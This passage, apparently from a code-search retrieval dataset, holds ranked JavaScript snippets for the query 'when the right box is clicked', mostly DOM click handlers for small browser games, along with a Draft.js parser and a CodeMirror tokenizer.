blockMap.forEach((e, i) => {\n if (i !== firstBlock.getKey()) {\n if (isPart) {\n if (e.getType() !== 'header-two') {\n part.articleBody.push(e.getText());\n if (i === lastBlock.getKey()) {\n article.hasPart.push(part);\n }\n } else {\n article.hasPart.push(part);\n part = getPart(e.getText());\n }\n } else {\n if (e.getType() !== 'header-two') {\n article.articleBody.push(e.getText());\n } else {\n isPart = true;\n part = getPart(e.getText());\n }\n }\n }\n });\n\n const formatMention = (url,text,blockIndex,offset) => `${url}?'${text}':${blockIndex},${offset}`;\n let order = getOrderOffset(article);\n\n blockMap.toArray().forEach((block, i) => {\n let entity;\n\n const findEntityOfType = (type) => char => {\n let entityKey = char.getEntity();\n entity = !!entityKey ? Entity.get(entityKey) : null;\n return !!entity && entity.getType() === type;\n };\n\n block.findEntityRanges(findEntityOfType(\"LINK\"), (anchorOffset, focusOffset) => {\n if (entity) {\n let data = entity.getData();\n let url = data.linkUrl,\n name = data.linkTitle || '',\n desc = data.linkDesc || '';\n const linkText = block.getText().substring(anchorOffset, focusOffset);\n article.mentions.push(\n getMention(name, \"\", formatMention(url,linkText,order+i,anchorOffset))\n );\n }\n });\n block.findEntityRanges(findEntityOfType(\"IMAGE\"), (anchorOffset, focusOffset) => {\n if (entity) {\n let data = entity.getData();\n let url = data.src,\n name = data.title || '',\n desc = data.description || '';\n const linkText = block.getText().substring(anchorOffset, focusOffset);\n article.image.push(\n getImageObject(`${url}?${order+i},${anchorOffset}`,name,desc)\n );\n }\n });\n block.findEntityRanges(findEntityOfType(\"SOCIAL\"), (anchorOffset, focusOffset) => {\n if (entity) {\n let data = entity.getData();\n let url = data.src,\n desc = data.description || '',\n title = data.title || '';\n const linkText = block.getText().substring(anchorOffset, focusOffset);\n article.hasPart.push(\n getSocialMediaPosting(url,desc,title)\n );\n }\n });\n });\n }", "title": "" }, { "docid": "d0cca65553cf2fb6a61f6410b3e202b7", "score": "0.43409526", "text": "function a(e,a,t,i){var s,n=arguments.length,r=n<3?a:null===i?i=Object.getOwnPropertyDescriptor(a,t):i;if(\"object\"==typeof Reflect&&\"function\"==typeof Reflect.decorate)r=Reflect.decorate(e,a,t,i);else for(var o=e.length-1;o>=0;o--)(s=e[o])&&(r=(n<3?s(r):n>3?s(a,t,r):s(a,t))||r);return n>3&&r&&Object.defineProperty(a,t,r),r\n/**\n * @license\n * Copyright 2019 Google LLC\n * SPDX-License-Identifier: BSD-3-Clause\n */}", "title": "" }, { "docid": "4a2df509c8c163ca64772e1e5fbfa815", "score": "0.43386427", "text": "_read(size) {\n const source = this._source\n , start = this._start // eslint-disable-line\n\n if (!source || (start >= source.length)) {\n this.push(null)\n }\n\n else {\n this._start = start + size // move this forward, then it's the 'end' below.\n this.push(source.slice(start, this._start))\n }\n }", "title": "" }, { "docid": "e68222aaa91da7afa5fd033ac0ccd953", "score": "0.43358707", "text": "function ReplaceSepcialValueAndMaxInput(object, maxLength) {\n object.value = object.value.replace(eval(\"/\" + \"<\" + \"/gi\"), \"\").replace(eval(\"/\" + \">\" + \"/gi\"), \"\");\n if (object.value.length > maxLength) {\n // alert(\"You can input 50 characters in comments at most.\");\n object.value = object.value.substring(0, maxLength);\n }\n return object;\n}", "title": "" }, { "docid": "f859d9db841bfdf0a858dd2e6bc1aaf2", "score": "0.433283", "text": "function tokenBase(stream, state) { // 40\n // Handle scope changes // 41\n if (stream.sol()) { // 42\n var scopeOffset = state.scopes[0].offset; // 43\n if (stream.eatSpace()) { // 44\n var lineOffset = stream.indentation(); // 45\n if (lineOffset > scopeOffset) { // 46\n return 'indent'; // 47\n } else if (lineOffset < scopeOffset) { // 48\n return 'dedent'; // 49\n } // 50\n return null; // 51\n } else { // 52\n if (scopeOffset > 0) { // 53\n dedent(stream, state); // 54\n } // 55\n } // 56\n } // 57\n if (stream.eatSpace()) { // 58\n return null; // 59\n } // 60\n // 61\n var ch = stream.peek(); // 62\n // 63\n // Handle docco title comment (single line) // 64\n if (stream.match(\"####\")) { // 65\n stream.skipToEnd(); // 66\n return 'comment'; // 67\n } // 68\n // 69\n // Handle multi line comments // 70\n if (stream.match(\"###\")) { // 71\n state.tokenize = longComment; // 72\n return state.tokenize(stream, state); // 73\n } // 74\n // 75\n // Single line comment // 76\n if (ch === '#') { // 77\n stream.skipToEnd(); // 78\n return 'comment'; // 79\n } // 80\n // 81\n // Handle number literals // 82\n if (stream.match(/^-?[0-9\\.]/, false)) { // 83\n var floatLiteral = false; // 84\n // Floats // 85\n if (stream.match(/^-?\\d*\\.\\d+(e[\\+\\-]?\\d+)?/i)) { // 86\n floatLiteral = true; // 87\n } // 88\n if (stream.match(/^-?\\d+\\.\\d*/)) { // 89\n floatLiteral = true; // 90\n } // 91\n if (stream.match(/^-?\\.\\d+/)) { // 92\n floatLiteral = true; // 93\n } // 94\n // 95\n if (floatLiteral) { // 96\n // prevent from getting extra . on 1.. // 97\n if (stream.peek() == \".\"){ // 98\n stream.backUp(1); // 99\n } // 100\n return 'number'; // 101\n } // 102\n // Integers // 103\n var intLiteral = false; // 104\n // Hex // 105\n if (stream.match(/^-?0x[0-9a-f]+/i)) { // 106\n intLiteral = true; // 107\n } // 108\n // Decimal // 109\n if (stream.match(/^-?[1-9]\\d*(e[\\+\\-]?\\d+)?/)) { // 110\n intLiteral = true; // 111\n } // 112\n // Zero by itself with no other piece of number. // 113\n if (stream.match(/^-?0(?![\\dx])/i)) { // 114\n intLiteral = true; // 115\n } // 116\n if (intLiteral) { // 117\n return 'number'; // 118\n } // 119\n } // 120\n // 121\n // Handle strings // 122\n if (stream.match(stringPrefixes)) { // 123\n state.tokenize = tokenFactory(stream.current(), 'string'); // 124\n return state.tokenize(stream, state); // 125\n } // 126\n // Handle regex literals // 127\n if (stream.match(regexPrefixes)) { // 128\n if (stream.current() != '/' || stream.match(/^.*\\//, false)) { // prevent highlight of division // 129\n state.tokenize = tokenFactory(stream.current(), 'string-2'); // 130\n return state.tokenize(stream, state); // 131\n } else { // 132\n stream.backUp(1); // 133\n } // 134\n } // 135\n // 136\n // Handle operators and delimiters // 137\n if (stream.match(tripleDelimiters) || stream.match(doubleDelimiters)) { // 138\n return 'punctuation'; // 139\n } // 140\n if (stream.match(doubleOperators) // 141\n || stream.match(singleOperators) // 142\n || stream.match(wordOperators)) { // 143\n return 'operator'; // 144\n } // 145\n if (stream.match(singleDelimiters)) { // 146\n return 'punctuation'; // 147\n } // 148\n // 149\n if (stream.match(constants)) { // 150\n return 'atom'; // 151\n } // 152\n // 153\n if (stream.match(keywords)) { // 154\n return 'keyword'; // 155\n } // 156\n // 157\n if (stream.match(identifiers)) { // 158\n return 'variable'; // 159\n } // 160\n // 161\n if (stream.match(properties)) { // 162\n return 'property'; // 163\n } // 164\n // 165\n // Handle non-detected items // 166\n stream.next(); // 167\n return ERRORCLASS; // 168\n } // 169", "title": "" }, { "docid": "f7a31e42ed09d5c10ff1a61d77e17b9e", "score": "0.4332483", "text": "function extractComment2(data) {\n if (!data.feed.entry){\n return;\n }\n else{\n return jQuery.map(data.feed.entry, function(entry, index) {\n var raw_comment = {\n 'published' : entry.published.$t,\n 'content' : entry.content.$t\n };\n if (raw_comment.content.length < 300) {\n var start = getStartTime(raw_comment) % videoDuration;\n if (bombard.c[start]) {\n bombard.c[start].push( {\n 'text' : raw_comment.content,\n 'source' : 'YT'\n });\n } else {\n bombard.c[start] = [ {\n 'text' : raw_comment.content,\n 'source' : 'YT'\n } ];\n }\n }\n });\n }\n }", "title": "" } ]
1b4673ca512f68b9c13aa3b050f519e2
5. when the right box is clicked
[ { "docid": "d4a88facf8a952f1fe31f5f08c75a639", "score": "0.0", "text": "function isRight(){\n if(this == chosenBox){\n for(let box of boxes){\n box.style.background = chosenBox.style.background;\n document.querySelector(\"header\").style.background = chosenBox.style.background;\n if(isEasy && box.className==\"col-4 boxes hard\"){\n box.style.background = \"none\";\n }\n }\n message.textContent = \"You are correct!!\";\n clickToNew.textContent = \"Play Again?\";\n }\n}", "title": "" } ]
[ { "docid": "2aa225bb7cfd720e33ffbdd4f282f3e6", "score": "0.7683309", "text": "function rightBoxClicked() {\r\n if (leftBoxHovered === true) {\r\n window.alert(\"OooooOo! You clicked me!\");\r\n }\r\n }", "title": "" }, { "docid": "d59956ed05e649772569955f45797f4d", "score": "0.72057694", "text": "function MouseRightClick() {\n}", "title": "" }, { "docid": "8eb494bf5aa821ae189b745e0e7dace7", "score": "0.6768934", "text": "function clickedRight()\n {\n //console.log(`showHideDeckInfo ${props.index}`);\n props.dispatch(rightAnswer());\n }", "title": "" }, { "docid": "a709a759d2ea326207dade07a64cf6ed", "score": "0.67411745", "text": "function clickedRight(cell,i,j,event){\n //gBoard[i][j].clicked = true;\n if (gBoard[i][j].val === \"B\") boom(cell,i,j);\n if (gBoard[i][j].val === 0) cell0(cell,i,j);\n if (gBoard[i][j].val > 0) showCell(cell,i,j);\n\n}", "title": "" }, { "docid": "00297dee186bb0b16ae6733f57b02fb9", "score": "0.66692525", "text": "function rightContent(){\n self.registerSearchInput();\n self.expandPic.attr('src',OC.imagePath('core','actions/triangle-n.png'));\n self.expandPic.attr('value','close');\n self.expandDescription.height(self.expandPic.height()+16);\n self.expandPic.click(function(){\n if(self.expandPic.attr('value')=='close'){\n self.expand();\n self.expandPic.attr('value','open');\n }else{ \n self.contract();\n self.expandPic.attr('value','close');\n }\n }); \n showStartpage(); \n}", "title": "" }, { "docid": "622cc1da013c291c2e850d3bbe9bb8e3", "score": "0.66463935", "text": "function handleRightMouseButtonDown(e) {\n isRightMouseButtonDown = true;\n enlargeTopmostCardAtMouseLocation();\n }", "title": "" }, { "docid": "0e027c05af647b1efa2b71ee33082a94", "score": "0.6644969", "text": "function rightPressed(){\n\n}", "title": "" }, { "docid": "ae40ad20d5ea2c9f4f67cee839043058", "score": "0.6590065", "text": "function clickBox(index){\n\t\t\tself.grid[index].property = 'X'\n\t\t\tconsole.log(self.grid[index])\n\n\t\t\tif (self.grid[index].property === \"O\"){\n\t\t\t\tself.grid[index].property = \"X\" \n\t\t\t}else{\n\t\t\t\tself.grid[index].property = \"O\"\n\t\t\t}\n\n\t\t\t\n\t//double function; if self winner exists - stop || prevent double click ||\n\t \tif(self.winner || self.grid[index].status){\n\t \treturn\t\n\t \t}\n\t \tself.grid.$save(self.grid[index].status)\n\t}", "title": "" }, { "docid": "eddb6710bcb90322055ade59c029200f", "score": "0.6582443", "text": "function oncl2() //a&function du click manuel via click me\n { \n x+=lv*2;\n textUpdate();\n }", "title": "" }, { "docid": "c14ad0b37e8ba3c1988aabcb6e1ed150", "score": "0.65639114", "text": "function boxClicked(event){\n\tconsole.log(event);\n}", "title": "" }, { "docid": "753f17a6bb7885041e010b429a7c21ea", "score": "0.6527263", "text": "clickMouseRight(e) {\n if (e.button === 2) {\n // debugger\n e.preventDefault();\n var wMonitor = $(document).width();\n var x = e.pageX - 107;\n if (x + 260 > wMonitor) {\n var du = x + 260 - wMonitor;\n x = x - du;//đo bằng cơm\n // alert(x);\n }\n $(\"#right-mouse\").css(\"top\", (e.pageY - 138));\n $(\"#right-mouse\").css(\"left\", x);\n $(\"#right-mouse\").show();\n\n }\n }", "title": "" }, { "docid": "35d85ac88fbbbec1450eb270c17b6933", "score": "0.65228176", "text": "function rightclick(eveniment){\n eveniment.preventDefault();//ca sa nu mearga cand apas click dreapta\n showContextMenu(eveniment);\n}", "title": "" }, { "docid": "7bd3077b07f9b7666d3f3cd32d9d9a01", "score": "0.6514823", "text": "function oncl2() //a&function du click manuel via click me\n { \n x+=lv*2;\n textUpdate();\n }", "title": "" }, { "docid": "82de2e2fa4bc1979c0ed798ad9638301", "score": "0.65107137", "text": "function Events_Click(strId,blnRaise,blnUnique,intPosX, intPosY, blnIsRightClick)\r\n{\r\n intPosX = intPosX?intPosX:0;\r\n intPosY = intPosY?intPosY:0;\r\n \r\n\tvar objEvent = Events_CreateEvent(strId,\"Click\",null,blnUnique);\r\n\tEvents_SetEventAttribute(objEvent,\"BTN\",blnIsRightClick ? \"R\" : \"L\");\r\n\tEvents_SetEventAttribute(objEvent,\"X\",intPosX);\r\n Events_SetEventAttribute(objEvent,\"Y\",intPosY);\r\n\tif(blnRaise) Events_RaiseEvents();\r\n}", "title": "" }, { "docid": "fd8373c7204ba10975d01d4bb3cb87cf", "score": "0.65070134", "text": "function mouseClicked(){\n\t//revisa las cordenadas del click\n\tfor (var i = FROGS.length - 1; i >= 0; i--) {\n\t\tFROGS[i].clicked(mouseX,mouseY);\n\t}\n}", "title": "" }, { "docid": "13ce722291a76539c4044958dab2f079", "score": "0.64868104", "text": "function mouseClicked() {}", "title": "" }, { "docid": "a048a6e10730933bd94b7a4276f07c0a", "score": "0.6463628", "text": "function boxclickR(box,group) {\n if (box.checked) {\n showR(group);\n } else {\n hideR(group);\n }\n// == rebuild the side bar\n// makeSidebar();\n}", "title": "" }, { "docid": "1f1a653ab901f8644fb5bdfd9040bb72", "score": "0.6445199", "text": "function boxclickT(box,type) {\n if (box.checked) {\n showT(type);\n } else {\n hideT(type);\n }\n// == rebuild the side bar\n// makeSidebar();\n}", "title": "" }, { "docid": "eef34df6a2a3dac2c954b3ef2f843e54", "score": "0.64438134", "text": "function RightMouseDown() { return false; }", "title": "" }, { "docid": "a548f0d783554f28ec547304a906c6d6", "score": "0.6434719", "text": "function onLeftButtonClick() {\n index = 0;\n changeContent();\n onStartUp();\n}", "title": "" }, { "docid": "c2cef069aeb6ff2d8016cc01815442e3", "score": "0.6409927", "text": "function rightBoxChangeBack() {\r\n rightBox.innerHTML = \"Update the status of this box. This box should not be clickable at this point.\";\r\n }", "title": "" }, { "docid": "d143f593a72f89fcf641e3676e5e4b1b", "score": "0.63960195", "text": "function rightBoxChange() {\r\n rightBox.innerHTML = \"Oh oh! Right box over here!\";\r\n }", "title": "" }, { "docid": "0719f6fe444a0fedc6d6cf7c85c1052b", "score": "0.6381747", "text": "function dptCbClickedRight(cbObj, rowNum) {\n\n\t//selectRow(cbObj);\n\n\tif (cbObj.checked)\n\t\tjsDataRightTree[rowNum].ischecked = true;\n\telse\n\t\tjsDataRightTree[rowNum].ischecked = false;\n\n\t// If user clicks on any of the checkboxes in the left/right pane we want the __select__\n\t// radio button to be selected.\n\tvar formObj = getFirstAncestorByHtmlTag(cbObj, \"form\");\n\tcheckMatchingRadioOrCheckbox(formObj.name, \"rOpt\", \"__select__\");\n}", "title": "" }, { "docid": "6e8eb3cc60ada37c3bea64b0ab11be94", "score": "0.63766235", "text": "function rightClickHandler(event) {\n\tconst row = parseInt(event.target.id.split('-')[0]);\n\tconst col = parseInt(event.target.id.split('-')[1]);\n\tconst cell = gameboard[row][col];\n\tconst cellEl = $(`#${event.target.id}`);\n\n\tif (event.which === 3) {\n\t\tconst $this = $(this);\n\n\t\t//CLOSED CELL IS RIGHT CLICKED\n\t\tif (revealedBoard[row][col] !== 'opened') {\n\t\t\t//TOGGLE FLAG ON OR OFF\n\t\t\tif ($this.hasClass('flagged')) {\n\t\t\t\trenderNoFlag(cellEl);\n\t\t\t\t$this.toggleClass('flagged');\n\t\t\t} else {\n\t\t\t\trenderFlag(cellEl);\n\t\t\t\t$this.toggleClass('flagged');\n\t\t\t}\n\t\t}\n\t\t//OPENED NUMBER IS RIGHT CLICKED\n\t\tif (gameboard[row][col] > 0 && revealedBoard[row][col] === 'opened') {\n //CHECK HOW MANY ADJACENT FLAGS TO CELL\n\t\t\tcheckAdjacent(countFlags, row, col);\n //SHOW CELLS IF THERE IS THE CORRECT AMOUNT OF FLAGS\n\t\t\tif (cell === adjFlagCount) {\n\t\t\t\tshowClicked(row, col);\n }\n //RESET FLAG COUNT\n\t\t\tadjFlagCount = 0;\n\t\t}\n\t}\n\twinCheck();\n}", "title": "" }, { "docid": "2baea8a3204fe625880a4557e875261a", "score": "0.636557", "text": "function clicked(d,i) {\n\n\t}", "title": "" }, { "docid": "a7fa0c71d6efe3249c13afb74ff09eec", "score": "0.6315186", "text": "function displayX() {\n console.log(\"The box is being clicked\");\n}", "title": "" }, { "docid": "0af541b1ff6d4147014dc767754aa7fe", "score": "0.6240824", "text": "function handleClick(e) {\n var $target = $(e.target);\n \n if($target.hasClass('space') && (!$target.hasClass('click')))\n {\n var color;\n var gold = 'gold';\n var red = 'red';\n var lightgrey = 'lightgrey'\n var is_ver = false;\n \n // if the click_counter mod 2 is 0 then the background colour changes to 'gold'. If click_counter mod 2 is 1 then colour changes to 'red'.\n if(click_counter % 2 === 0) \n {\n $target.css('background-color', gold);\n color = gold;\n }\n else\n {\n $target.css('background-color', red);\n color = red;\n }\n $target.addClass('click');\n click_counter++;\n \n is_ver = ($target.hasClass('ver')) ? true : false ;\n \n var parent_id = $target.parent().attr('id');//outer div id string\n var position = Number($target.attr('data-id'));//data-id of clicked div\n var p_id = Number(parent_id.slice((parent_id.length - 1), parent_id.length));//id number of parent(outer) div\n \n if(is_ver === false)\n {\n if(p_id > 1) // Keep a track on the Bottom, Left and Right after the Top is clicked\n {\n //top\n var top_id = p_id-1;\n var top_id_str = parent_id.slice(0, parent_id.length-1) + top_id;\n var search_top = $('#'+top_id_str).find('.space[data-id='+position+']').hasClass('click');//top\n\n var top_ver_id = 'erow'+top_id;\n\n var search_left = $('#'+top_ver_id).find('.space[data-id='+position+']').hasClass('click');//left\n var search_right = $('#'+top_ver_id).find('.space[data-id='+(position+1)+']').hasClass('click');//right\n \n // if the top, left and right are already clicked and available then once the bottom div is clicked the box completes and the player gets a point. \n if(search_top === true && search_left === true && search_right === true)\n {\n color_empty($('#'+top_ver_id), position, color);\n }\n\n }\n if(p_id < 6) // Keep a track on the Top, Left and Right after the Bottom is clicked\n {\n //bottom\n var bottom_id = p_id+1;\n var bottom_id_str = parent_id.slice(0, parent_id.length-1) + bottom_id;\n var search_bottom = $('#'+bottom_id_str).find('.space[data-id='+position+']').hasClass('click');//top\n\n var bottom_ver_id = 'erow'+p_id;\n\n var search_left = $('#'+bottom_ver_id).find('.space[data-id='+position+']').hasClass('click');//left\n var search_right = $('#'+bottom_ver_id).find('.space[data-id='+(position+1)+']').hasClass('click');//right\n \n // if the bottom, left and right are already clicked and available then once the top div is clicked the box completes and the player gets a point.\n if(search_bottom === true && search_left === true && search_right === true)\n {\n color_empty($('#'+bottom_ver_id), position, color);\n }\n }\n }\n else\n {\n var $erow = $('#'+parent_id);\n if(position > 1) // Keep a track on the Top, Bottom and Right after the Left is clicked\n {\n var search_top = $('#row'+p_id).find('.space[data-id='+(position-1)+']').hasClass('click');//top\n var search_bottom = $('#row'+(p_id+1)).find('.space[data-id='+(position-1)+']').hasClass('click');//bottom\n\n var search_left = $erow.find('.space[data-id='+(position-1)+']').hasClass('click');//left\n \n // if the bottom, left and top are already clicked and available then once the right div is clicked the box completes and the player gets a point.\n if(search_bottom === true && search_left === true && search_top === true)\n {\n color_empty($erow, (position-1), color);\n }\n }\n \n if(position < 6) // Keep a track on the Top, Bottom and Left after the Right is clicked\n {\n var search_top = $('#row'+p_id).find('.space[data-id='+(position)+']').hasClass('click');//top\n var search_bottom = $('#row'+(p_id+1)).find('.space[data-id='+(position)+']').hasClass('click');//bottom\n\n var search_right = $erow.find('.space[data-id='+(position+1)+']').hasClass('click');//right\n \n // if the bottom, right and top are already clicked and available then once the left div is clicked the box completes and the player gets a point.\n if(search_bottom === true && search_right === true && search_top === true)\n {\n color_empty($erow, position, color);\n }\n }\n }\n \n // if the player gets a box then the same player gets another turn to play. \n if(is_win === true)\n {\n click_counter--;\n is_win = false;\n }\n \n }\n \n }", "title": "" }, { "docid": "b0540eceac45e9be069f23f12b005d8b", "score": "0.62397736", "text": "function mouseClicked() { \n\t// Map DOM coordinates to our virtual coordinate system. \n\tlet _mouseX = r_v(mouseX);\n\tlet _mouseY = r_v(mouseY);\n\n\tfor (let i = 0; i < gs.blocks.length; i++) {\n\t\tif (gs.blocks[i].overlap(_mouseX, _mouseY)) {\n\t\t\tgs.blocks[i].toggle_selected();\n\t\t}\n\t}\n\n\tif (gs.progress_button.overlap(_mouseX, _mouseY)) {\n\t\tprogress_button_click();\n\t}\n\n\tif (gs.show_ai_button.overlap(_mouseX, _mouseY)) {\n\t\tfor (let i = 0; i < gs.ai_tabs.length; i++) {\n\t\t\tgs.ai_tabs[i].toggle_visible(); \n\t\t}\n\t\tgs.show_ai_button.toggle_value(); \n\t}\n}", "title": "" }, { "docid": "72631fbd9b49a9677d12776f22978c9f", "score": "0.6237487", "text": "function onRightClick(i, j) {\r\n \r\n if (gGame.isPause || !gGame.isOn) {\r\n return;\r\n }\r\n \r\n if (isFirstClicked) {\r\n addMines(gBoard, i, j);\r\n isFirstClicked = false;\r\n }\r\n \r\n var cell = gBoard[i][j];\r\n \r\n if (cell.isShown) {\r\n return;\r\n }\r\n \r\n cell.isMarked = cell.isMarked ? false : true;\r\n \r\n \r\n renderCell(i, j, cell.isMarked ? FLAG : EMPTY);\r\n \r\n if (cell.isMarked) {\r\n checkAndhandleVictory(gBoard);\r\n }\r\n}", "title": "" }, { "docid": "91ada0ba248094a7b8979efeb2cea59e", "score": "0.6195426", "text": "function menuRightClick(){\r\n\r\n\tvar menu = new gui.Menu();\r\n\t\r\n\tmenu.append(new gui.MenuItem({ label: 'Item A' }));\r\n\tmenu.append(new gui.MenuItem({ label: 'Item B' }));\r\n\tmenu.append(new gui.MenuItem({ type: 'separator' }));\r\n\tmenu.append(new gui.MenuItem({ label: 'Item C' }));\r\n\t\r\n\t// Popup as context menu\r\n\tmenu.popup(10, 10);\r\n\t\r\n}", "title": "" }, { "docid": "02b1e508538026a337f4b2090052ca7f", "score": "0.6170464", "text": "function _clicked_ele_trigger(oEle,e)\r\n{\r\n\tif(isNaN(e))\r\n\t{\r\n\t\tvar mLeft = app.findMousePos(e)[0];\r\n\t}\r\n\telse\r\n\t{\r\n\t\tvar mLeft = e;\r\n\t}\r\n\r\n\tvar eleMaxRight = oEle.offsetWidth + app.eleLeft(oEle);\r\n\tvar eleMinRight = eleMaxRight - 16;\r\n\r\n\tif((mLeft>eleMinRight)&&(mLeft<eleMaxRight))\r\n\t{\r\n\t\treturn true;\r\n\t}\r\n\treturn false;\r\n}", "title": "" }, { "docid": "00f89cb24c6e0f267f3e69bba57a9f7f", "score": "0.61534405", "text": "function mouseInteractEvent(e) {\n if (e.target.matches('td')) {\n var elid = e.target.getAttribute('id');\n var r = parseInt(elid.split('-')[1]);\n var c = parseInt(elid.split('-')[2]);\n var rightclick;\n if (!e) var e = window.event;\n if (e.which) rightclick = (e.which == 3);\n else if (e.button) rightclick = (e.button == 2);\n if (rightclick) {\n // Right click\n flag(r, c);\n }\n else {\n // Left click\n reveal(r, c);\n }\n }\n}", "title": "" }, { "docid": "05c19349e5c79c9b6b7d056350c53e7f", "score": "0.61361444", "text": "function rightSelectClick(startingNumber){\n\tif(x == END_OF_IMAGE_LIST){\n\t\tx = RIGHT_RESET;\n\t}\n\tx++; //increments global x value by 1 to move up option list\n\n\tif(x>= START_OF_IMAGE_LIST && x <= END_OF_IMAGE_LIST){\n\t\tslider();\t\n\t}\t\t\n}", "title": "" }, { "docid": "906de0dcefe0645486ac36366e2fecbf", "score": "0.61277366", "text": "function onClick(e) {\n\n // Prevents context menu on right click\n e.preventDefault();\n\n // Determines type of click\n let leftClick = true;\n if(e.button != 0) leftClick = false;\n\n let isStart = (this == startCell);\n let isGoal = goalCells.includes(this);\n\n // Switched between dirrerent cell types\n if(clickAction == \"moddify\") {\n\n onModdify(this, leftClick);\n }\n\n // Controls the start point\n else if(clickAction == \"start\" && !isGoal) {\n\n if(isStart) {\n startCell.innerHTML = \"\";\n startCell = null;\n }\n else {\n if(startCell != null) startCell.innerHTML = \"\";\n this.innerHTML = \"<div class='size cell start'></div>\";\n startCell = this;\n }\n }\n\n // Controls the goal points\n else if(clickAction == \"goal\" && !isStart) {\n\n if(isGoal) {\n this.innerHTML = \"\";\n goalCells.splice(goalCells.indexOf(this), 1);\n }\n else {\n this.innerHTML = \"<div class='size cell goal'></div>\";\n goalCells.push(this);\n }\n }\n }", "title": "" }, { "docid": "53e72ff520ff1b8d6026ca41c52bcf21", "score": "0.61150897", "text": "function level1MouseClicked() {\n\n}", "title": "" }, { "docid": "b85cbde57d7b4823b566682aa36bbd9e", "score": "0.6101567", "text": "function rightclickevent(event){\n if(document.getElementById(\"label_input\").style.display === 'block'){\n document.getElementById(\"label_input\").style.display = \"none\";\n }\n\n event.preventDefault();\n document.getElementById('id_selector_text').setAttribute('style', 'display:none;');\n document.getElementById('id_selector_text').value = '';\n document.getElementById('context').setAttribute('style', 'display:block; left:'+event.pageX+'px;top:'+event.pageY+'px;');\n }", "title": "" }, { "docid": "9fc81a8adbeeb3670cc9ba0cc6da4522", "score": "0.60795146", "text": "function cclick(e){\n\n select(getneartwt(getmscoord(e)));\n}", "title": "" }, { "docid": "b2b3c2efcfbb16521396eb99f9fb28be", "score": "0.6074445", "text": "function mouseAction(){\n\t// Obtem a posicao do mouse\n\tvar mouse = robot.getMousePos();\n \n if (incX!=0||incY!=0){\n\t\t// Realiza o movimento\n\t\tmouse.x += incX;\n\t\tmouse.y += incY;\n\t\trobot.moveMouse(mouse.x, mouse.y);\n\t}\n\n\t// Verifica se precisa clicar\n\tif (retorno.click.esquerda){\n\t\t// Filtro para nao clicar duas vezes seguidas\n\t\tif (!leftClicked){\n\t\t\trobot.mouseClick();\n\t\t\tleftClicked = true;\n\t\t}\n\t}else{\n\t\tleftClicked = false;\n\t}\n\n\tif (retorno.click.direita){\n\t\t// Filtro para nao clicar duas vezes seguidas\n\t\tif (!rightClicked){\n\t\t\trobot.mouseClick('right');\n\t\t\trightClicked = true;\n\t\t}\n\t}else{\n\t\trightClicked = false;\n\t}\n}", "title": "" }, { "docid": "8d4e303a78e4001edb30f06ef420b229", "score": "0.60722554", "text": "function mouseRightClickEvent(event) {\n hideMenus();\n let selected = event.srcElement;\n selectedId = selected.id;\n if ( selectedId.includes(\".selectedTable\") ) {\n Selected = selected;\n event.preventDefault();\n //We will now go and get the correct menu\n var menu = document.getElementById(\"contextMenuTable\") \n menu.style.display = \"block\";\n menu.style.left = MouseEvent.pageX + \"px\";\n menu.style.top = MouseEvent.pageY + \"px\";\n } else if ( selectedId.includes(\".server\") ) {\n Selected = selected;\n updateNicknameText(selected.innerText);\n event.preventDefault();\n //We will now go and get the correct menu\n var menu = document.getElementById(\"contextMenuServer\") \n menu.style.display = \"block\";\n menu.style.left = MouseEvent.pageX + \"px\";\n menu.style.top = MouseEvent.pageY + \"px\";\n }\n}", "title": "" }, { "docid": "d0209e284accc5a8277e63e777370ba2", "score": "0.6053525", "text": "onRightClick() {\n // avoid click too fast\n if (this.click) {\n setTimeout(() => {\n this.click = false;\n },1000);\n return;\n }\n if (this.props.component && this.props.component.onRight)\n this.props.component.onRight();\n }", "title": "" }, { "docid": "fa7cf25d91261f1b815476162d896459", "score": "0.60227245", "text": "mouseClick() {\r\n box.Engine.noa.inputs.down.on(\"fire\", () => {\r\n if (noa.targetedBlock) {\r\n var pos = noa.targetedBlock.position;\r\n noa.setBlock(0, pos[0], pos[1], pos[2]);\r\n }\r\n });\r\n box.Engine.noa.inputs.down.on(\"alt-fire\", function () {\r\n if (noa.targetedBlock) {\r\n var pos = noa.targetedBlock.adjacent;\r\n noa.addBlock(1, pos[0], pos[1], pos[2]);\r\n }\r\n });\r\n }", "title": "" }, { "docid": "8b50228aa433aebc16e0a0726b437c9a", "score": "0.60174084", "text": "handleContextMenu(event, i) {\n event.preventDefault(); // Preventing default right click function\n this.placeFlag(i); // Placing flag on Square with index i\n }", "title": "" }, { "docid": "f7232ccd5dc7a312106eceb694eff75e", "score": "0.6016569", "text": "function Click()\r{\r\t// Le click n'est pas géré si le menu visible ou si le click est en dehors de la zone interactive\r\tif (mainVisible || cursorX < 48 || cursorX >= width - 48 || cursorY < 32 || cursorY >= height - 96)\r\t\treturn;\r\t// L'effet de fumée sur le cannon est basé sur l'angle\r\t// Il faut faire une distinction entre la gauche et la droite car l'angle ne le fait pas\r\t// La division de l'angle en 3 régions est basée sur l'angle:\r\t// Math.PI / 2 -- Math.PI * 7/16\r\t// Math.PI * 7/16 -- Math.PI * 4/16\r\t// Math.PI * 4/16 -- ...\r\tif ((width / 2) < cursorX)\r\t{\r\t\tif (Angle > Math.PI * 7 / 16)\r\t\t\tnew SFX(sprFumee, 3, 24, 24, (width / 2) - 2, height - 128);\r\t\telse if (Angle > Math.PI * 4 / 16)\r\t\t\tnew SFX(sprFumee, 3, 24, 24, (width / 2) + 20, height - 124);\r\t\telse\r\t\t\tnew SFX(sprFumee, 3, 24, 24, (width / 2) + 34, height - 114);\r\t\tnew Boulet((width / 2), height - 90, Angle, true);\r\t}\r\telse\r\t{\r\t\tif (Angle > Math.PI * 7 / 16)\r\t\t\tnew SFX(sprFumee, 3, 24, 24, (width / 2) - 2, height - 128);\r\t\telse if (Angle > Math.PI * 4 / 16)\r\t\t\tnew SFX(sprFumee, 3, 24, 24, (width / 2) - 20, height - 124);\r\t\telse\r\t\t\tnew SFX(sprFumee, 3, 24, 24, (width / 2) - 34, height - 114);\r\t\tnew Boulet((width / 2), height - 90, Angle, false);\r\t}\r}", "title": "" }, { "docid": "d882716035104d062cd0c91f4e3f137a", "score": "0.6012262", "text": "function clicked(d,i) {\n\n}", "title": "" }, { "docid": "bc791a901ffda1ab2125358f5747170a", "score": "0.6006992", "text": "function rightAnswer(click) {\n if (click.val() === \"1\") {\n answersRight++\n }\n }", "title": "" }, { "docid": "e5f60dfdfb197036b299f7830e822c19", "score": "0.6001432", "text": "function clickSquare(){\n move(this);\n }", "title": "" }, { "docid": "7079c7daff831191ee093e03de2f53bf", "score": "0.5998288", "text": "handleRightIconClick() {\n const { 